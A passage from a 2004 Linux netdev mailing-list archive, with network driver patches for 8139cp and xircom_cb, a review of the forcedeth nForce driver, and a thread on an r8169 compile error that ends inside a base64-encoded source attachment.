by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OL7n7J007299 for ; Sat, 24 Jan 2004 13:07:50 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:47613 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AkV0N-0006GP-HE; Sat, 24 Jan 2004 21:07:47 +0000 Message-ID: <4012DE97.1070406@pobox.com> Date: Sat, 24 Jan 2004 16:07:35 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: tulip-users@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [PATCH] Make xircom cardbus handle shared irq References: <20040122164920.5c32a649.shemminger@osdl.org> In-Reply-To: <20040122164920.5c32a649.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2737 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From garzik@gtf.org Sat Jan 24 13:22:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:22:20 -0800 (PST) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OLM67J008030 for ; Sat, 24 Jan 2004 13:22:06 -0800 Received: by havoc.gtf.org (Postfix, from userid 500) id 1A0156666; Sat, 24 Jan 2004 16:22:00 -0500 (EST) Date: Sat, 24 Jan 2004 16:21:59 -0500 From: Jeff Garzik To: akpm@osdl.org, torvalds@osdl.org Cc: netdev@oss.sgi.com Subject: [BK PATCHES] 2.6-rc net driver fixes Message-ID: <20040124212159.GA25401@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 2738 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Please do a bk pull bk://gkernel.bkbits.net/net-drivers-2.5 This will update the following files: drivers/net/8139cp.c | 12 ++++++++++-- drivers/net/tulip/xircom_cb.c | 5 +++++ 2 files changed, 15 insertions(+), 2 deletions(-) through these ChangeSets: (04/01/24 1.1512) [PATCH] Make xircom cardbus handle shared irq Current driver doesn't do shared irq properly. When testing on a laptop here irq 3 get shared between pcmcia slot and tty/IRDA (04/01/24 1.1511) [netdrvr 8139cp] fix NAPI race Andreas Happe writes: > my notebook (hp/compaq nx7000) still crashes when using 8139cp (runs > rock solid with 8139too driver). The computer just locks up, there is no > dmesg output. This has happened since I've got this laptop (around > november '03). It seems 8139cp.c has the race condition of rx_poll and interrupt. NOTE, since I don't have this device, patch is untested. Sorry. [further note - it has been tested] diff -Nru a/drivers/net/8139cp.c b/drivers/net/8139cp.c --- a/drivers/net/8139cp.c Sat Jan 24 16:20:26 2004 +++ b/drivers/net/8139cp.c Sat Jan 24 16:20:26 2004 @@ -615,8 +615,10 @@ if (cpr16(IntrStatus) & cp_rx_intr_mask) goto rx_status_loop; - netif_rx_complete(dev); + local_irq_disable(); cpw16_f(IntrMask, cp_intr_mask); + __netif_rx_complete(dev); + local_irq_enable(); return 0; /* done */ } @@ -643,6 +645,12 @@ spin_lock(&cp->lock); + /* close possible race's with dev_close */ + if (unlikely(!netif_running(dev))) { + cpw16(IntrMask, 0); + goto out; + } + if (status & (RxOK | RxErr | RxEmpty | RxFIFOOvr)) { if (netif_rx_schedule_prep(dev)) { cpw16_f(IntrMask, cp_norx_intr_mask); @@ -664,7 +672,7 @@ /* TODO: reset hardware */ } - +out: spin_unlock(&cp->lock); return IRQ_HANDLED; } diff -Nru a/drivers/net/tulip/xircom_cb.c b/drivers/net/tulip/xircom_cb.c --- a/drivers/net/tulip/xircom_cb.c Sat Jan 24 16:20:26 2004 +++ b/drivers/net/tulip/xircom_cb.c Sat Jan 24 16:20:26 2004 @@ -342,6 +342,11 @@ printk("tx status 0x%08x 0x%08x \n",card->tx_buffer[0],card->tx_buffer[4]); printk("rx status 0x%08x 0x%08x \n",card->rx_buffer[0],card->rx_buffer[4]); #endif + /* Handle shared irq and hotplug */ + if (status == 0 || status == 0xffffffff) { + spin_unlock(&card->lock); + return IRQ_NONE; + } if (link_status_changed(card)) { int newlink; From romieu@fr.zoreil.com Sat Jan 24 13:24:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:24:24 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OLO97J008472 for ; Sat, 24 Jan 2004 13:24:10 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0OLLSgf003476; Sat, 24 Jan 2004 22:21:28 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0OLLSpl003475; Sat, 24 Jan 2004 22:21:28 +0100 Date: Sat, 24 Jan 2004 22:21:28 +0100 From: Francois Romieu To: Christoph Lameter Cc: netdev@oss.sgi.com Subject: Re: Compile Error with r8169.c Message-ID: <20040124222128.B2069@electric-eye.fr.zoreil.com> References: <20040124214009.A2069@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from christoph@lameter.com on Sat, Jan 24, 2004 at 12:49:16PM -0800 X-Organisation: Land of Sunshine Inc. X-archive-position: 2739 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Christoph Lameter : [2.6.2-rc1 expected] > 2.6.2-rc1 (shitstorm in sight, level 9...) [...] > 2.6.2-rc1 right? Yes (...level 10). [.config] No problem here for 'make drivers/net/r8169.o' with this .config at any stage of patching. Once r8169-missing-static is applied on top of the other patches, I get: $ md5sum drivers/net/r8169.c 2525aab3261e165fc5698347eede84f3 drivers/net/r8169.c (btw, no timer_t at line 383, care to send source file ?) Before anything is applied (2.4.2-rc1), I get: $ md5sum drivers/net/r8169.c 4286c8aa2ec99e566b0c43da9a032b14 drivers/net/r8169.c The top-level Makefile indicates a 2.6.2-rc1 and it just passed correctly a patch/unpatch of -rc1-mm2. [...] > > You can try the first 10 patches (i.e. including r8169-intr_mask.patch) > > from the last serie. > > I tried them and got the compile failure. Can you check the md5 sums and issue a simple 'make drivers/net/r8169.o' ? Here it simply says (KBUILD_VERBOSE=1): $ make drivers/net/r8169.o make -f scripts/Makefile.build obj=scripts make -f scripts/Makefile.build obj=scripts/genksyms make -f scripts/Makefile.build obj=drivers/net drivers/net/r8169.o gcc -Wp,-MD,drivers/net/.r8169.o.d -nostdinc -iwithprefix include -D__KERNEL__ -Iinclude -D__KERNEL__ -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -pipe -mpreferred-stack-boundary=2 -march=athlon -Iinclude/asm-i386/mach-default -O2 -fomit-frame-pointer -DMODULE -DKBUILD_BASENAME=r8169 -DKBUILD_MODNAME=r8169 -c -o drivers/net/.tmp_r8169.o drivers/net/r8169.c -- Ueimor From c-d.hailfinger.kernel.2004@gmx.net Sat Jan 24 13:24:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:24:50 -0800 (PST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OLOZ7J008497 for ; Sat, 24 Jan 2004 13:24:36 -0800 Received: (qmail 3397 invoked by uid 65534); 24 Jan 2004 21:24:30 -0000 Received: from stud212116.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.212.116) by mail.gmx.net (mp026) with SMTP; 24 Jan 2004 22:24:30 +0100 X-Authenticated: #21910825 Message-ID: <4012E276.5030804@gmx.net> Date: Sat, 24 Jan 2004 22:24:06 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Jeff Garzik CC: Linux Kernel Mailing List , netdev@oss.sgi.com, Manfred Spraul Subject: Re: [PATCH] [2.4] forcedeth network driver References: <4012A738.2060009@gmx.net> <4012B25B.9060706@pobox.com> In-Reply-To: <4012B25B.9060706@pobox.com> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2740 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Jeff Garzik wrote: > Carl-Daniel Hailfinger wrote: > >> Marcelo, >> >> attached is the current version of forcedeth, a network driver for >> nForce{,2,3} chipsets which are fairly common today. >> So far, the only support for nForce chipsets has been a binary-only >> driver >> from NVidia. > > >> The patch is against your current bk tree. >> Please apply. > > > I wish you'd mailed me first... let's not be so hasty. I'm sorry. Since I had not seen any net driver patches getting into 2.4.25-pre, I assumed you had set your priorities to 2.6. Looking again, it seems the switch from 2.4.24-pre to 2.4.25-pre confused me and I forgot to double check with the actual prepatches. > > > General comments: > > * This was suggested (and ignored), but IMO needs to be done -- the > function names are -way- too generic. If this driver oops's, people > might see an oops in "open" or "close" functions, which is fairly > useless information unless correlated with other info. Please follow > style and add a driver-specific prefix to your function names. Will coordinate with Manfred so that we don't step on each other's toes when changing function names. >> +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,5,28)) >> +static inline void synchronize_irq_wrapper(unsigned int irq) { >> synchronize_irq(); } >> +#undef synchronize_irq >> +#define synchronize_irq(irq) synchronize_irq_wrapper(irq) >> +#endif > > > Just introduce a diff between 2.4 and 2.6 versions. The chunk above is the only difference between the 2.4 and the 2.6 version. Should I remove the #ifdef or change the line calling synchronize_irq itself? >> + dprintk(KERN_DEBUG "%s: start_xmit: packet packet %d queued for >> transmission.\n", >> + dev->name, np->next_tx); >> + { >> + int j; >> + for (j=0; j<64; j++) { >> + if ((j%16) == 0) >> + dprintk("\n%03x:", j); >> + dprintk(" %02x", ((unsigned char*)skb->data)[j]); >> + } >> + dprintk("\n"); >> + } > > > would be nice if this loop was optimized out by the compiler. You mean it should be removed? AFAICS, we have #define dprintk(x...) do { } while (0) so the compiler _should_ optimize it out if we use at least -O. >> + for (i = 0; i < DEVICE_COUNT_RESOURCE; i++) { >> + dprintk(KERN_DEBUG "%s: resource %d start %p len %ld flags 0x%08lx.\n", >> + pci_name(pci_dev), i, (void*)pci_resource_start(pci_dev, i), >> + pci_resource_len(pci_dev, i), >> + pci_resource_flags(pci_dev, i)); >> + if (pci_resource_flags(pci_dev, i) & IORESOURCE_MEM && >> + pci_resource_len(pci_dev, i) >= NV_PCI_REGSZ) { >> + addr = pci_resource_start(pci_dev, i); >> + break; >> + } >> + } > > Do nForce NICs really put the registers on random PCI BARs??? > > I would rather just hardcode is the PCI BAR if at all possible. No idea. None of us have the hardware available, so we entirely depend on external testers. We could try to get a sampling by issuing an unconditional printk instead. >> + if (!is_valid_ether_addr(dev->dev_addr)) { >> + /* >> + * Bad mac address. At least one bios sets the mac address >> + * to 01:23:45:67:89:ab >> + */ >> + printk(KERN_ERR "%s: Invalid Mac address detected: >> %02x:%02x:%02x:%02x:%02x:%02x\n", >> + pci_name(pci_dev), >> + dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], >> + dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); >> + printk(KERN_ERR "Please complain to your hardware vendor. >> Switching to a random MAC.\n"); >> + dev->dev_addr[0] = 0x00; >> + dev->dev_addr[1] = 0x00; >> + dev->dev_addr[2] = 0x6c; >> + get_random_bytes(&dev->dev_addr[3], 3); >> + } > > > I don't like this random MAC address stuff. Regardless of hardware > behavior, this breaks MAC address uniqueness. > > I would much rather that ->open() failed, if a valid MAC address were > not present. Then a simple userspace program can be run by the admin > (policy!) that sets the MAC address, before bringing up the interface. This was a feature many users asked for. It seems broken hardware is very common for this chipset. >> +static struct pci_device_id pci_tbl[] = { >> + { /* nForce Ethernet Controller */ >> + .vendor = PCI_VENDOR_ID_NVIDIA, >> + .device = 0x1C3, >> + .subvendor = PCI_ANY_ID, >> + .subdevice = PCI_ANY_ID, >> + .driver_data = DEV_IRQMASK_1|DEV_NEED_TIMERIRQ, >> + }, >> + { /* nForce2 Ethernet Controller */ >> + .vendor = PCI_VENDOR_ID_NVIDIA, >> + .device = 0x0066, >> + .subvendor = PCI_ANY_ID, >> + .subdevice = PCI_ANY_ID, >> + .driver_data = >> DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, >> + }, >> + { /* nForce3 Ethernet Controller */ >> + .vendor = PCI_VENDOR_ID_NVIDIA, >> + .device = 0x00D6, >> + .subvendor = PCI_ANY_ID, >> + .subdevice = PCI_ANY_ID, >> + .driver_data = >> DEV_NEED_LASTPACKET1|DEV_IRQMASK_2|DEV_NEED_TIMERIRQ, >> + }, >> + {0,}, >> +}; > > > You'll note this structure is wildly larger than most net drivers... > maintainer's preference, but I think this is way too verbose. Will take a look at other drivers. Do you have any good example? > Jeff Carl-Daniel -- http://www.hailfinger.org/carldani/linux/patches/forcedeth/ From christoph@graphe.net Sat Jan 24 13:41:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 24 Jan 2004 13:42:10 -0800 (PST) Received: from duron.home (adsl-66-120-163-118.dsl.sntc01.pacbell.net [66.120.163.118]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0OLfm7J009596 for ; Sat, 24 Jan 2004 13:41:50 -0800 Received: from christoph (helo=localhost) by duron.home with local-esmtp (Exim 4.30) id 1AkVXB-0005DE-GF; Sat, 24 Jan 2004 13:41:41 -0800 Date: Sat, 24 Jan 2004 13:41:41 -0800 (PST) From: Christoph Lameter X-X-Sender: christoph@duron.home To: Francois Romieu cc: netdev@oss.sgi.com Subject: Re: Compile Error with r8169.c In-Reply-To: <20040124222128.B2069@electric-eye.fr.zoreil.com> Message-ID: References: <20040124214009.A2069@electric-eye.fr.zoreil.com> <20040124222128.B2069@electric-eye.fr.zoreil.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-953846766-1074980501=:19956" X-archive-position: 2741 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: christoph@lameter.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-953846766-1074980501=:19956 Content-Type: TEXT/PLAIN; charset=US-ASCII > No problem here for 'make drivers/net/r8169.o' with this .config at any > stage of patching. > > Once r8169-missing-static is applied on top of the other patches, I get: > $ md5sum drivers/net/r8169.c > 2525aab3261e165fc5698347eede84f3 drivers/net/r8169.c christoph@duron:/usr/src/linux-2.6.1/drivers/net$ md5sum r8169.c a07312cd7d36d25e873bee204ad8ee73 r8169.c Ok. so this is the issue. The result of my patching is attached. I followed the instructions from the README.txt. Could you just make the patched file available or a combined diff? I could have made a mistake by patching it but re-doing all the steps does not give me any hint what I did wrong. > (btw, no timer_t at line 383, care to send source file ?) > > Before anything is applied (2.4.2-rc1), I get: > $ md5sum drivers/net/r8169.c > 4286c8aa2ec99e566b0c43da9a032b14 drivers/net/r8169.c christoph@duron:/usr/src$ md5sum r8169-2.6.2-rc1.orig 4286c8aa2ec99e566b0c43da9a032b14 r8169-2.6.2-rc1.orig --8323328-953846766-1074980501=:19956 Content-Type: TEXT/x-csrc; charset=US-ASCII; name="r8169.c" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: patched r8169 Content-Disposition: attachment; filename="r8169.c" LyoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiByODE2OS5jOiBB IFJlYWxUZWsgUlRMODE2OXMvODExMHMgR2lnYWJpdCBFdGhlcm5ldCBkcml2 ZXIgZm9yIExpbnV4IGtlcm5lbCAyLjQueC4NCiAtLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KDQogSGlzdG9yeToNCiBGZWIgIDQgMjAwMgktIGNyZWF0ZWQg aW5pdGlhbGx5IGJ5IFNodUNoZW4gPHNodWNoZW5AcmVhbHRlay5jb20udHc+ Lg0KIE1heSAyMCAyMDAyCS0gQWRkIGxpbmsgc3RhdHVzIGZvcmNlLW1vZGUg YW5kIFRCSSBtb2RlIHN1cHBvcnQuDQo9PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09DQogIDEuIFRoZSBtZWRpYSBjYW4gYmUgZm9yY2VkIGluIDUgbW9k ZXMuDQoJIENvbW1hbmQ6ICdpbnNtb2QgcjgxNjkgbWVkaWEgPSBTRVRfTUVE SUEnDQoJIEV4OgkgICdpbnNtb2QgcjgxNjkgbWVkaWEgPSAweDA0JyB3aWxs IGZvcmNlIFBIWSB0byBvcGVyYXRlIGluIDEwME1wYnMgSGFsZi1kdXBsZXgu DQoNCgkgU0VUX01FRElBIGNhbiBiZToNCiAJCV8xMF9IYWxmCT0gMHgwMQ0K IAkJXzEwX0Z1bGwJPSAweDAyDQogCQlfMTAwX0hhbGYJPSAweDA0DQogCQlf MTAwX0Z1bGwJPSAweDA4DQogCQlfMTAwMF9GdWxsCT0gMHgxMA0KDQogIDIu IFN1cHBvcnQgVEJJIG1vZGUuDQovLz09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0NClJUTDgxNjlfVkVSU0lPTiAiMS4xIgk8MjAwMi8xMC80Pg0KDQoJ VGhlIGJpdDQ6MCBvZiBNSUkgcmVnaXN0ZXIgNCBpcyBjYWxsZWQgInNlbGVj dG9yIGZpZWxkIiwgYW5kIGhhdmUgdG8gYmUNCgkwMDAwMWIgdG8gaW5kaWNh dGUgc3VwcG9ydCBvZiBJRUVFIHN0ZCA4MDIuMyBkdXJpbmcgTldheSBwcm9j ZXNzIG9mDQoJZXhjaGFuZ2luZyBMaW5rIENvZGUgV29yZCAoRkxQKS4NCg0K UlRMODE2OV9WRVJTSU9OICIxLjIiCTwyMDAzLzYvMTc+DQoJVXBkYXRlIGRy aXZlciBtb2R1bGUgbmFtZS4NCglNb2RpZnkgSVNSLg0KICAgICAgICBBZGQg Y2hpcCBtYWNfdmVyc2lvbi4NCg0KUlRMODE2OV9WRVJTSU9OICIxLjMiCTwy MDAzLzYvMjA+DQogICAgICAgIEFkZCBjaGlwIHBoeV92ZXJzaW9uLg0KCUFk ZCBwcml2LT5waHlfdGltZXJfdCwgcnRsODE2OV9waHlfdGltZXJfdF9oYW5k bGVyKCkNCglBZGQgcnRsODE2OV9od19QSFlfY29uZmlnKCkNCglBZGQgcnRs ODE2OV9od19QSFlfcmVzZXQoKQ0KDQpSVEw4MTY5X1ZFUlNJT04gIjEuNCIJ PDIwMDMvNy8xND4NCglBZGQgdHhfYnl0ZXMsIHJ4X2J5dGVzLg0KDQpSVEw4 MTY5X1ZFUlNJT04gIjEuNSIJPDIwMDMvNy8xOD4NCglTZXQgMHgwMDAwIHRv IFBIWSBhdCBvZmZzZXQgMHgwYi4NCglNb2RpZnkgY2hpcCBtYWNfdmVyc2lv biwgcGh5X3ZlcnNpb24NCglGb3JjZSBtZWRpYSBmb3IgbXVsdGlwbGUgY2Fy ZC4NClJUTDgxNjlfVkVSU0lPTiAiMS42Igk8MjAwMy84LzI1Pg0KCU1vZGlm eSByZWNlaXZlIGRhdGEgYnVmZmVyLg0KKi8NCg0KDQojaW5jbHVkZSA8bGlu dXgvbW9kdWxlLmg+DQojaW5jbHVkZSA8bGludXgvcGNpLmg+DQojaW5jbHVk ZSA8bGludXgvbmV0ZGV2aWNlLmg+DQojaW5jbHVkZSA8bGludXgvZXRoZXJk ZXZpY2UuaD4NCiNpbmNsdWRlIDxsaW51eC9kZWxheS5oPg0KDQojaW5jbHVk ZSA8bGludXgvdGltZXIuaD4NCiNpbmNsdWRlIDxsaW51eC9pbml0Lmg+DQoN Cg0KI2RlZmluZSBSVEw4MTY5X1ZFUlNJT04gIjEuNiA8MjAwMy0wOC0yNT4i DQojZGVmaW5lIE1PRFVMRU5BTUUgIlJUTDgxNjlzLzgxMTBzIg0KI2RlZmlu ZSBSVEw4MTY5X0RSSVZFUl9OQU1FICAgTU9EVUxFTkFNRSAiIEdpZ2FiaXQg RXRoZXJuZXQgZHJpdmVyICIgUlRMODE2OV9WRVJTSU9ODQojZGVmaW5lIFBG WCBNT0RVTEVOQU1FICI6ICINCg0KDQojdW5kZWYgUlRMODE2OV9ERUJVRw0K DQojaWZkZWYgUlRMODE2OV9ERUJVRw0KI2RlZmluZSBhc3NlcnQoZXhwcikg XA0KICAgICAgICBpZighKGV4cHIpKSB7CQkJCQlcDQoJICAgICAgICBwcmlu dGsoICJBc3NlcnRpb24gZmFpbGVkISAlcywlcywlcyxsaW5lPSVkXG4iLCAj ZXhwcixfX0ZJTEVfXyxfX0ZVTkNUSU9OX18sX19MSU5FX18pOwkJXA0KICAg ICAgICB9DQojZGVmaW5lIERCR19QUklOVCggZm10LCBhcmdzLi4uKSAgIHBy aW50aygicjgxNjk6ICIgZm10LCAjIyBhcmdzKTsNCiNlbHNlDQojZGVmaW5l IGFzc2VydChleHByKSBkbyB7fSB3aGlsZSAoMCkNCiNkZWZpbmUgREJHX1BS SU5UKCBmbXQsIGFyZ3MuLi4pICAgOw0KI2VuZGlmCS8vIGVuZCBvZiAjaWZk ZWYgUlRMODE2OV9ERUJVRw0KDQoNCi8qIG1lZGlhIG9wdGlvbnMgKi8NCiNk ZWZpbmUgTUFYX1VOSVRTIDgNCnN0YXRpYyBpbnQgbWVkaWFbTUFYX1VOSVRT XSA9IHstMSwgLTEsIC0xLCAtMSwgLTEsIC0xLCAtMSwgLTF9Ow0KDQovKiBN YXhpbXVtIGV2ZW50cyAoUnggcGFja2V0cywgZXRjLikgdG8gaGFuZGxlIGF0 IGVhY2ggaW50ZXJydXB0LiAqLw0Kc3RhdGljIGludCBtYXhfaW50ZXJydXB0 X3dvcmsgPSAyMDsNCg0KLyogTWF4aW11bSBudW1iZXIgb2YgbXVsdGljYXN0 IGFkZHJlc3NlcyB0byBmaWx0ZXIgKHZzLiBSeC1hbGwtbXVsdGljYXN0KS4N CiAgIFRoZSBSVEwgY2hpcHMgdXNlIGEgNjQgZWxlbWVudCBoYXNoIHRhYmxl IGJhc2VkIG9uIHRoZSBFdGhlcm5ldCBDUkMuICAqLw0Kc3RhdGljIGludCBt dWx0aWNhc3RfZmlsdGVyX2xpbWl0ID0gMzI7DQoNCi8qIE1BQyBhZGRyZXNz IGxlbmd0aCovDQojZGVmaW5lIE1BQ19BRERSX0xFTgk2DQoNCi8qIG1heCBz dXBwb3J0ZWQgZ2lnYWJpdCBldGhlcm5ldCBmcmFtZSBzaXplIC0tIG11c3Qg YmUgYXQgbGVhc3QgKGRldi0+bXR1KzE0KzQpLiovDQojZGVmaW5lIE1BWF9F VEhfRlJBTUVfU0laRQkxNTM2DQoNCiNkZWZpbmUgVFhfRklGT19USFJFU0gg MjU2CQkvKiBJbiBieXRlcyAqLw0KDQojZGVmaW5lIFJYX0ZJRk9fVEhSRVNI CTcJCS8qIDcgbWVhbnMgTk8gdGhyZXNob2xkLCBSeCBidWZmZXIgbGV2ZWwg YmVmb3JlIGZpcnN0IFBDSSB4ZmVyLiAgKi8NCiNkZWZpbmUgUlhfRE1BX0JV UlNUCTYJCS8qIE1heGltdW0gUENJIGJ1cnN0LCAnNicgaXMgMTAyNCAqLw0K I2RlZmluZSBUWF9ETUFfQlVSU1QJNgkJLyogTWF4aW11bSBQQ0kgYnVyc3Qs ICc2JyBpcyAxMDI0ICovDQojZGVmaW5lIEVUVGggCTB4M0YJCS8qIDB4M0Yg bWVhbnMgTk8gdGhyZXNob2xkICovDQojZGVmaW5lIFJ4UGFja2V0TWF4U2l6 ZQkweDA4MDAJCS8qIE1heGltdW0gc2l6ZSBzdXBwb3J0ZWQgaXMgMTZLLTEg Ki8NCiNkZWZpbmUgSW50ZXJGcmFtZUdhcAkweDAzCQkvKiAzIG1lYW5zIElu dGVyRnJhbWVHYXAgPSB0aGUgc2hvcnRlc3Qgb25lICovDQoNCiNkZWZpbmUg TlVNX1RYX0RFU0MJNjQJCS8qIE51bWJlciBvZiBUeCBkZXNjcmlwdG9yIHJl Z2lzdGVycyovDQojZGVmaW5lIE5VTV9SWF9ERVNDCTY0CQkvKiBOdW1iZXIg b2YgUnggZGVzY3JpcHRvciByZWdpc3RlcnMqLw0KI2RlZmluZSBSWF9CVUZf U0laRQkxNTM2CQkvKiBSeCBCdWZmZXIgc2l6ZSAqLw0KDQojZGVmaW5lIE1B WF9SWF9TS0JEQVRBX1NJWkUgMTYwMA0KDQojZGVmaW5lIFJUTF9NSU5fSU9f U0laRSAweDgwDQojZGVmaW5lIFRYX1RJTUVPVVQgICg2KkhaKQ0KDQovKiB3 cml0ZS9yZWFkIE1NSU8gcmVnaXN0ZXIgKi8NCiNkZWZpbmUgUlRMX1c4KHJl ZywgdmFsOCkJd3JpdGViICgodmFsOCksIGlvYWRkciArIChyZWcpKQ0KI2Rl ZmluZSBSVExfVzE2KHJlZywgdmFsMTYpCXdyaXRldyAoKHZhbDE2KSwgaW9h ZGRyICsgKHJlZykpDQojZGVmaW5lIFJUTF9XMzIocmVnLCB2YWwzMikJd3Jp dGVsICgodmFsMzIpLCBpb2FkZHIgKyAocmVnKSkNCiNkZWZpbmUgUlRMX1I4 KHJlZykJCXJlYWRiIChpb2FkZHIgKyAocmVnKSkNCiNkZWZpbmUgUlRMX1Ix NihyZWcpCQlyZWFkdyAoaW9hZGRyICsgKHJlZykpDQojZGVmaW5lIFJUTF9S MzIocmVnKQkJKCh1bnNpZ25lZCBsb25nKSByZWFkbCAoaW9hZGRyICsgKHJl ZykpKQ0KDQoNCiNkZWZpbmUgUlRMX0dJR0FfTUFDX1ZFUl9CICAweDAwICAg IC8vTUFDIHZlcnNpb24gMDAwMA0KLy8jZGVmaW5lIFJUTF9HSUdBX01BQ19W RVJfQyAgMHgwMw0KI2RlZmluZSBSVExfR0lHQV9NQUNfVkVSX0QgIDB4MDEg ICAgLy9NQUMgdmVyc2lvbiAwMDAxDQojZGVmaW5lIFJUTF9HSUdBX01BQ19W RVJfRSAgMHgwMiAgICAvL01BQyB2ZXJzaW9uIDAwMDINCg0KI2RlZmluZSBS VExfR0VUX01BQ19WRVJTSU9OKG1hY192ZXJzaW9uKSAgICAgXA0Ke1wNCglt YWNfdmVyc2lvbiA9IFJUTF9HSUdBX01BQ19WRVJfQjtcDQoJaWYoIChSVExf UjMyKFR4Q29uZmlnKSYweDdjODAwMDAwKSAmICgweDE8PDI2KSApeyBcDQoJ CW1hY192ZXJzaW9uID0gUlRMX0dJR0FfTUFDX1ZFUl9FO1wNCgl9XA0KCWVs c2UgaWYoIChSVExfUjMyKFR4Q29uZmlnKSYweDdjODAwMDAwKSAmICgweDE8 PDIzKSApe1wNCgkJbWFjX3ZlcnNpb24gPSBSVExfR0lHQV9NQUNfVkVSX0Q7 XA0KCX1cDQoJZWxzZSBpZiggKFJUTF9SMzIoVHhDb25maWcpJjB4N2M4MDAw MDApID09IDB4MDAwMDAwMDAgKXtcDQoJCW1hY192ZXJzaW9uID0gUlRMX0dJ R0FfTUFDX1ZFUl9CO1wNCgl9XA0KfQ0KDQojZGVmaW5lIFJUTF9QUklOVF9N QUNfVkVSU0lPTihtYWNfdmVyc2lvbikgXA0Ke1wNCglzd2l0Y2gobWFjX3Zl cnNpb24pIFwNCgl7IFwNCgkJY2FzZSBSVExfR0lHQV9NQUNfVkVSX0U6IFwN CgkJCURCR19QUklOVCgibWFjX3ZlcnNpb24gPT0gUlRMX0dJR0FfTUFDX1ZF Ul9FICgwMDAyKVxuIik7IFwNCgkJCWJyZWFrOyBcDQoJCWNhc2UgUlRMX0dJ R0FfTUFDX1ZFUl9EOiBcDQoJCQlEQkdfUFJJTlQoIm1hY192ZXJzaW9uID09 IFJUTF9HSUdBX01BQ19WRVJfRCAoMDAwMSlcbiIpOyBcDQoJCQlicmVhazsg XA0KCQljYXNlIFJUTF9HSUdBX01BQ19WRVJfQjogXA0KCQkJREJHX1BSSU5U KCJtYWNfdmVyc2lvbiA9PSBSVExfR0lHQV9NQUNfVkVSX0IgKDAwMDApXG4i KTsgXA0KCQkJYnJlYWs7IFwNCgkJZGVmYXVsdDogXA0KCQkJREJHX1BSSU5U KCJtYWNfdmVyc2lvbiA9PSBVbmtub3duXG4iKTsgXA0KCQkJYnJlYWs7IFwN Cgl9IFwNCn0NCg0KI2RlZmluZSBSVExfR0lHQV9QSFlfVkVSX0MgICAgMHgw 